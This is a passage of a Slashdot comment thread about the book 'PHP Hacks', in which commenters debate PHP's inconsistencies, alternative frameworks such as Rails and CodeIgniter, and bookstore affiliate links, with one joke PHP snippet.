    1. Re:RoR for PHP Projects by killjoe · · Score: 1

      Rails is great. Not just for web sites but for all types of programming because it really encourages you to use best practices like unit testing, MVC etc. Capistrano and migrations also rock.

      The only problem with rails is that ruby is not ideal for windows, the interpreter has threading issues, you can't write COM objects with it, and it's the slowest of the big scripting languages.

      Having said all that none of the rails clones come even close. Every language has now attempted to make a rails clone and they have all concentrated on activerecord. Activerecord is great but it's only one tiny part of rails.

      Rails isn't perfect, they really should come up with a better way to integrate multiple rails applications on the same server. There should be a better way to carry your gems around and share them not only with other rails apps but other programs too, they need a report engine desparately, they need a really good message queue, more solid cached records etc. The community is active though and I am sure all those problems will be solved pretty soon. Cached records are already being worked on for example.

      --
      evil is as evil does
    2. Re:RoR for PHP Projects by lucas+teh+geek · · Score: 1

      We're using it for a project at the moment. seems like every problem we run into isnt a problem in rail, but dont worry, there are plently of ugly, unoffical hacks, to get most things to work some of the time.

      grumbles at the stupid people who made us use cakephp because they knew php and didnt want to learn something new

      --
      TIAEAE!
    3. Re:RoR for PHP Projects by galaga79 · · Score: 1

      I am currently porting a classic PHP site to CakePHP and I must say the framework makes life a lot easier. It takes some getting use to MVC design practices (eg a view doesn't request data, it is given data) and some of the documentation is a bit unclear but once you get into the swing of things it's a rapid way to develop sites.

  18. Despite what? by JudgeDredd · · Score: 2, Insightful
    The book was published by O'Reilly Media in December of 2005. Despite its title, PHP Hacks: Tips & Tools for Creating Dynamic Websites

    Umm, despite its title, what?
  19. PHP Popularity by hotfireball · · Score: 2, Informative

    "Everything populair is wrong" -- Oscar Wilde

    1. Re:PHP Popularity by Vexorian · · Score: 2, Funny

      Oscar Wilde is popular then his statement is wrong

      --

      Copyright infringement is "piracy" in the same way DRM is "consumer rape"
    2. Re:PHP Popularity by Anonymous Coward · · Score: 0

      Don't worry. He's not.

    3. Re:PHP Popularity by hotfireball · · Score: 1

      Oscar Wilde isn't "everything". PHP is a thing.

    4. Re:PHP Popularity by jahknow · · Score: 1

      It does seem that Oscar Wilde is so "Work is the curse of the drinking classes."

      --
      ^^
  20. blame the coder, not the language by Anonymous Coward · · Score: 3, Insightful

    Yes, PHP is relatively easy to begin coding in, what with its fairly forgiving variable typing (or what some would call non-typing) and its babysitting of memory. I would even agree that PHP tends to attract more bozos and wannabes for this very reason. However, PHP is, and continues to be the most widely used non M$ language for open sourced web applications. This is because it works. Sure, PHP allows sloppy coding, but it also allows clean and well written code. PHP is a lightweight, nimble, comprehendable scripting language that is very well suited for its intended environment: the web.

    -Peter

  21. Save $11.08! by Anonymous Coward · · Score: 0

    Save yourself $11.08 by buying the book here: PHP Hacks. And if you use the "secret" A9.com discount, you can save an extra 1.57%! That's a total savings of $11.38, or 38.56%!

  22. It's correct, but but not complete by MacFanMR · · Score: 2, Insightful

    All of those observations are true, but that doesn't mean you shouldn't use PHP. As with any tool, you must consider the user, their skill level, and the project requirements when making your decision.

    Many of PHP's inconsistencies stem from the fact that it is an open source language. While it has likely changed now, many functions were accepted into the source without anyone ensuring a consistent naming scheme, parameter order or behavior. To maintain backward compatibility for what is now a very large user base, this cannot be easily changed at this point.

    Several of the examples of redundant functions are not redundant at all. The escaping functions relate to the specific database they are escaping the data for. Oracle requires that things be escaped differently than MySQL, a single function wouldn't work.

    That aside, there are many functions that perform tasks you could accomplish in other ways. For instance, finding if a string contains another string. I might use strpos('mystring', 'my') but there is also a function that is named specifically for the purpose of finding whether a string contains another string. That function would return a simple true/false while my example would actually return the position of the substring or false but I can interpret it to tell me what I need to know. My guess was that the extra functions are an attempt to make the language accessible to less experienced programmers. For me, I would rather write my own functions as needed than muddy the PHP parser with extra functions, but I'm not on the development team so it's not my decision to make.

    PHP has namespaces though they are not formal and therefore not as efficient. For example, all the MySQL functions begin with mysql_ and pSpell functions begin with pspell_. Starting with PHP5 and full OOP support, they now have class based namespaces like SOAPServer::addFunction(). Each namespace regardless of type, represents a package compiled into PHP. Though the default compile comes with many packages installed, you can decrease the number of functions by compiling without support for DBs and other packages you don't need. This would decrease the number of functions PHP is parsing for (correct me if I'm wrong on this.)

    Perl may be compact, but if you notice in the examples, for someone who isn't familiar with Perl, the code provided wouldn't be immediately understandable, and Perl code can be optimized and obfuscated even more than that.

    On the flip side is Java, which at its core is compact, but with the Java standard library of methods, there are nearly unlimited numbers of methods to do just about anything and everything you could ever think of. Add to that the frameworks that exist: struts, beans, servlets, jsp... just to scratch the surface and we find that Java is infinitely flexible and powerful. For those that know it, it is probably the greatest thing ever, but for someone starting out, it is incredibly overwhelming.

    If you use PHP and it fulfills your needs, then keep using it. If you run into a lot of limitations or frustrations because it can't do things you could do in xyz language, or because you are building projects that become difficult to maintain due to their scale, then you might want to explore other options. Ruby/Perl/Java/ASP/Cold Fusion has its pros and cons as much as PHP or anything else. It's up to you as the professional to evaluate your specific needs and options and make the right decision for you.

    Michael

  23. Re:Read the title real quick.... by no_barcode · · Score: 2, Informative

    Strings will not be broken in PHP 6. Most of the changes that might cause older applications or current applications taking advantage of deprecated functions to fail have had years to make the changes needed to prevent such failures and/or abnormal program terminations. http://www.corephp.co.uk/archives/19-Prepare-for-P HP-6.html http://wiki.cc/php/PHP6

  24. "Crack" by Anonymous Coward · · Score: 0

    "Crack" was not so newly coined as such. Breaking encryption was referred to as "cracking," as well as breaking copy protection. Breaking into locked system doesn't seem that far off from these usages.

  25. Free PHP bashing by Beuno · · Score: 3, Insightful

    I understand that PHP has a very solid newbie user base, but let's not forget monstrous sites like Digg and Wikipedia run on PHP + MySQL

    1. Re:Free PHP bashing by WilliamSChips · · Score: 0, Troll

      Wikipedia is good despite its poor language choice. Digg sucks no matter which way you go.

      --
      Please, for the good of Humanity, vote Obama.
  26. I should add... by multimediavt · · Score: 1

    I'm a Mac OS X / Linux guy, so programming PHP makes me feel dirty. I avoid that other dirty thing (Windows) as much as possible. Too dirty for me. Just as quick, though.

  27. That's nonsense by Estanislao+Mart�nez · · Score: 1
    Many of PHP's inconsistencies stem from the fact that it is an open source language. While it has likely changed now, many functions were accepted into the source without anyone ensuring a consistent naming scheme, parameter order or behavior. To maintain backward compatibility for what is now a very large user base, this cannot be easily changed at this point.

    Even if we granted that the functions can't be easily changed, that's got nothing to do with whether it's open source or not. But of course, I'm not willing to grant that it can't be easily changed. Make the next major version include all the functions as modules you need to load, and perhaps provide an utility to tell upgraders which files require which modules.

    Several of the examples of redundant functions are not redundant at all. The escaping functions relate to the specific database they are escaping the data for. Oracle requires that things be escaped differently than MySQL, a single function wouldn't work.

    That's a terrible example. What this means is simply that the language doesn't have decent database abstraction facilities (and in fact, PHP is infamous for precisely this). In a well designed database access framework, you specify which kind of database you're connecting to, and the framework picks the appropriate methods for doing all the database flavor-specific stuff. Or in other words, you tell the system "connect to this database" and "escape this string for this connection," and the system figures out, based on the kind of database, what to do.

    1. Re:That's nonsense by Anonymous Coward · · Score: 0

      That's not entirely true: http://www.php.net/pdo

    2. Re:That's nonsense by Estanislao+Mart�nez · · Score: 1
      From your link:

      PDO ships with PHP 5.1, and is available as a PECL extension for PHP 5.0; PDO requires the new OO features in the core of PHP 5, and so will not run with earlier versions of PHP.

      ...

  28. Uhhhh by Anonymous Coward · · Score: 2, Insightful

    Did any of you failed PHP programmers ever think maybe its your own ability to write well formed code?

    Since many of the largest and most complicated sites in the world use PHP flawlessly, I think its just your amateurish programming style requiring a compiler to bitch slap you till you do the right thing. That's like blaming the razor blade company when you finally relive us PHP programmers from having to listen to your bitching by committing suicide. Just because you have the freedom, doesnt mean you shouldn't exercise self control.

    Incidentally, if you use PHP for a few months you will find the names to functions coming pretty automatically. You could also grab a copy of an IDE like Zend Studio which shows a list of possible function endings, descriptions and a param summary (even for user defined functions, respecting namespace and supporting classes).

  29. Wikipedia is a bad example. by Anonymous Coward · · Score: 0

    The reason wikipedia is broken to various degrees most of the time is because its built in PHP. The reason they have to constantly beg for money to buy WAY too many servers is because its built in PHP. Choosing any reasonable language would have made it scale far better with much less hardware.

  30. Most posts offtopic by linvir · · Score: 3, Funny

    PHP seems to be one of those red-button topics on Slashdot. If the word even appears in the text of the story, the topic at hand is dropped entirely in favour of having a big wanking session and patting each other on the back for knowing a 'superior' language, or for having been into Linux 'before it was cool', or whatever the general topic happens to be.

    And not only is this stuff offtopic, it's also just so painfully redundant. I swear, that Slashdot story generator page from a while back was pretty impressive, but I'm starting to think maybe I could cook up a Slashdot comment generator as an add-on.

    // Wooooooooo! Watch out for magic quotes!
    if(get_magic_quotes_gpc())
    {
    echo 'FUK U U FUKKEN DIKKED WEBHOST I AIN RUNNEN NO FUKKEN SITE WIV NO FUKKEN MAGIC QUOTES' . "\n";
    exit;
    }

    // And now for a basic example of some comment generation
    if (strpos($story, 'DRM'))
    {
    echo 'DRM is bad.' . "\n";
    while (strrpos(date('l'), 'y') === 0) // what a FUKKEN MESS111
    {
    echo 'Yes, DRM is very, very bad indeed.' . "\n";
    }
    }
    1. Re:Most posts offtopic by jt2377 · · Score: 1

      'cause php does suck. Dealt!

  31. I'll take a different stab at it by ShaunC · · Score: 0, Offtopic

    Having looked at the book's website, some of the hacks involve such things as "creating custom MP3 broadcasts" and "integrating web sites with Google Maps." There are potential legal ramifications to these sorts of applications. Google Maps comes with a terms of service agreement, for example; and you can imagine the sort of trouble that someone might get into if they set up a "custom MP3 broadcast" that was noticed by anyone other than their circle of friends on Myspace. I don't have the book, but I'm willing to bet that discussions of the legality of the code samples are primarily comprised of disclaimers.

    --
    Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    1. Re:I'll take a different stab at it by mcmonkey · · Score: 1

      Well, yeah, if you want to be all logical about it and stuff.

      Dude, don't harsh my mod

  32. Worse language than PHP for security? by patio11 · · Score: 2, Funny
    "The language doesn't actually compel you to write insecure code, but it would be hard to imagine one which came closer."

    C? (Ouch, my poor karma -- but seriously, memory management is a security vulnerability in the hands of the average programmer AND every programmer thinks they are above average).

  33. I like PHP by Scallawag · · Score: 0

    It works for me. Also, I don't think most people host their web server despite what the author thinks.

    My hosting company offer a full suite of opensource solutions and it's tough to beat. Sure I am just a weekend code-warrior, but as long as I am having fun.

    --
    Getting old fast, Shit!
  34. Code Igniter by Anonymous Coward · · Score: 0

    try Code Igniter as a simple yet well structured MVC application framework for PHP

    1. Re:Code Igniter by linuxbz · · Score: 1

      I'll second that. CodeIgniter http://codeigniter.com/ is less than 6 months old, but done by the ExpressionEngine folks, and is a really good PHP framework. I discovered it while looking for a way to make Rails work ;-)

  35. PHP is horrible inconsistent by tehshen · · Score: 1

    I've watched a few people trying to program in PHP, and they all follow the same pattern: go to php.net, find the function they want, write a bit of code, test. Go to php.net, find, write, test. This was nice, they could just be learning, everything was fine.

    However, they were still having to look at the php.net manual a month later. That isn't fine. Come on, you've been using PHP for a few weeks now, surely you can remember which function it is, how it's spelled, and what the arguments are by using it a few times?

    I don't care about speed, most scripts are fast enough that you can't tell the difference. I don't care about those horrible ideas of the past like register_globals (please don't mention that again) and magic_quotes (which are unbelievably STILL on by default). I don't care about the hacks and 'features' that PHP implements poorly, like regular expression support. I don't care about PHP's weird typing system. I want to know why is PHP so horribly inconsistent like it is?

    I want to escape a string for MySQL. Which function do I use? addslashes()? mysql_escape_string()? Nope, mysql_real_escape_string(). There are about ten different functions for escaping strings, all of them different.

    I want to find a string in a string. I know that one, it's strstr(haystack, needle). Hang on, now I want to use a regular expression. preg_match(needle, haystack). Why the pointless argument-switching?

    I want to convert binary to hex. I know of the function strtolower(), so I use bintohex(), right? nope, bin2hex(). Don't ask why.

    I want to encode HTML. I remember the function (I think), isn't it html_entities()? No, it's htmlentities. More pointlessness. Why do away with the underscore?

    The excuse they use is that it's friendlier for people coming from these toolkits: C uses strstr, mysql uses things with underscores. I don't know about some people, but I'm able to learn a new way of doing things, especially a new way that doesn't find me tearing my hair out several days later.

    For something that's supposed to have had a small team of close developers, it doesn't look like it. Look at any long PHP manual page. Half the functions have underscores in them, the other half don't. The string functions are especially weird. Some of them seem to be of the form str_foo(), some of them are strfoo(), others are neither.

    PHP developers, seriously. You may have found PHP, but looking at the manual all the time is not the usual way to program. With pretty much any other language I learned, I've been able to keep the feature set in my head easily - consistent, either it uses underscores or it doesn't, function arguments don't change around for similar functions, stuff like that. I became annoyed at looking at the PHP manual every time I wanted to use a function. array_push( array, 2 ) or array_push ( 2, array )? See, I can't even remember how those arguments go.

    Right, back to your post. I'm not saying that it's not possible to write a lot of good code with PHP - you certainly have, and I've written my fair share of lines in it. I just find that PHP is a pain to write. Instead of coding, I spent more time thinking "is this the way I have to do it?"

    Oh, and its Unicode support is terrible too.

    --
    Guy asked me for a quarter for a cup of coffee. So I bit him.
    1. Re:PHP is horrible inconsistent by klagg · · Score: 2, Informative

      I'm not trying to defend the inconsistencies in PHP (you are right there), but if you feel you need to look at the manual all the time you need to use a better tool. Zend studio, for example, autocompletes function names and also tells you in which order to put the arguments. This is a huge timesaver if you're using PHP.

      --
      Free GPL Java Mobile Tetris game: Jamos
    2. Re:PHP is horrible inconsistent by Anonymous Coward · · Score: 0

      TMTOWTDI

  36. What a coincidence by petroele · · Score: 2, Insightful

    I just bought this book last week. I'm mainly a C++/Java guy but I've been doing lots of PHP over the last year or so. To stay on topic, I was fairly happy with the content of the book. Probably about half of it was stuff I already knew or stuff that was useful but really not PHP specific (DHTML, Javascript, OO design patterns). But there were also quite a few useful hacks that made it worthwhile. Overall, it is good book for thumbing through in your spare time to pick up some new tricks.

  37. PHP may have its faults, but I enjoy using it by crivens · · Score: 1

    I don't know, PHP may have its faults, but I enjoy working with it:

    http://wsframework.sf.net/

  38. Re:BS Re:I think Slashdot is trying to cheat us he by larry+bagina · · Score: 1
    Not quite.

    please do not include links in your reviews to online bookstores. Slashdot has an linking arrangement with Barnes & Noble; that's why when bn.com carries a particular book, you'll see a link to it at the bottom of the review.

    It's got nothing to do with 1-click patents, (Slashdot had frontpage affiliate links to amazon.com for years after that incident). BN gives a higher kickback than Amazon does.

    --
    Do you even lift?

    These aren't the 'roids you're looking for.